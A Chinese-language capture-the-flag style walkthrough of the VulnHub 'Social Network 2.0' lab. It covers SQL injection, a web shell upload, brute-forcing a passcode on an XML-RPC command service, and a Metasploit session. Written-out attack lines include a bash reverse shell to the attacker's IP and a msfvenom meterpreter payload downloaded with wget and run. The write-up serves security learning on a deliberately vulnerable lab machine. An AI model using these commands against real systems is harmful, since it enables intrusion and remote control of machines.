靶机下载地址:BoredHackerBlog: Social Network 2.0 ~ VulnHub
最终只拿到了本地权限,root权限的提升涉及逆向工程、缓冲区溢出的源码审计,还在摸索
首先,必须保证靶机、kali是通过桥接模式在同一网段
主机发现:
打开kali,通过ifconfig查看主机网段
nmap扫描网段:
nmap 192.168.43.0/24
找到靶机ip,开放了22、80、8000端口
获取webshell:
先访问80端口,是一个登录界面,login尝试弱口令、万能密码不成功,那就随便注册个账号登录
在Home有个搜索框、上传点以及输入框,如果是为了挖洞,输入框可以尝试xss,不过为了提权只需要sql注入、以及上传webshell
这里的上传点存在任意文件上传漏洞,可以直接上传webshell,如果上传点不存在上传漏洞也可以利用下面的sql注入进行获取webshell权限
搜索框
1’ 直接报错
1' # 正常
存在sql 注入,单引号闭合,手工注入、sqlmap都行,推荐手工,通过报错注入或union注入,最终可以爆出管理员的账号和密码,然后通过头像上传一句话木马连接
上传一句话木马,右键查看图片地址,获取路径进行连接,我采用蚁剑
web提权
(1)信息收集
查看进程:ps -ef
其中有一个socnet用户运行的进程monitor.py
查看monitor.py:cat /home/socnet/monitor.py
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
通过源码审计:
发现是一个XMLRPC的服务端,运行在8000端口
什么是XMLRPC?
RPC(Remote Procedure Call),叫远程过程调用,是一种在本地的机器上调用远端机器上的一个过程(方法)的技术,这个过程也被大家称为“分布式计算”,是为了提高各个分立机器的“互操作性”而发明出来的技术。
xml rpc是使用http协议做为传输协议的rpc机制,使用xml文本的方式传输命令和数据。一个rpc系统,必然包括2个部分:1.rpc client,用来向rpc server调用方法,并接收方法的返回数据;2.rpc server,用于响应rpc client的请求,执行方法,并回送方法执行结果。
也就是说,客户端client可以远程调用服务端server的方法,从而远程操控服务端执行指定方法
比如:遥控器(client)、电视机(server),我们可以通过遥控器远程操控电视机,让电视机换台、调音量....
- 其中的runcmd方法,调用子进程将cmd作为shell命令执行,并且传入的cmd的值是可控的
def runcmd(cmd):
#shell=True,将cmd以shell命令执行
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
subprocess.Popen可参考:https://www.cnblogs.com/wind666/p/11142245.html
- 还有secure_cmd方法,传入cmd和passcode参数,当满足passcode==debugging_pass时,就会调用runcmd执行传入的cmd,否则输出Wrong passcode.
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
- debugging_pass是通过random.ranint方法从[1000,9999]中随机生成一个整数,通过查找资料和测试,发现当运行程序时,每次调用这个方法生成的随机整数都跟第一次生成的整数是同一个
debugging_pass = random.randint(1000,9999) #返回[1000,9999]中的任意一个整数
(4)所以,只要客户端构造一个passcode,从1000到9999,每次增1,然后不断的去调用服务端的secure_cmd方法,必定能够使passcode==debugging_pass,从而调用runcmd方法执行cmd命令
传入构造好的cmd就可以反弹shell得到socnet用户权限
kali:192.168.43.150
靶机:192.168.43.117
反弹shell:bash -c “ bash -i >& /dev/tcp/192.168.43.150/8888 0>&1”
我用python3写的payload进行攻击,python2也可以,只是相关模块的名字有所变化
payload:
本地提权:
先将会话反弹到msf
生成木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.150 LPORT=4444 -f elf > cute_dolphin.bin
复制到web目录:
cp cute_dolphin.bin /var/www/html
开启apache服务:
service apache2 start
靶机通过wget下载到tmp目录:
wget http://kali的IP/cute_dolphin.bin
给予执行权限并执行:
chmod +x cute_dolphin.bin
./cute_dolphin.bin
打开msf:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.43.150 #kali的ip
set LPOST 4444 #监听端口
run
成功建立会话,通过python调用本地shell实现交互式命令行
python -c 'import pty; pty.spawn("/bin/bash")'
如果run的时候出现以下问题导致建立会话失败,可能是端口4444被占用了,
在终端输入 “netstat -tulpen”,查看进程端口信息
通过命令”fuser -k 端口号/tcp“,删除4444端口进程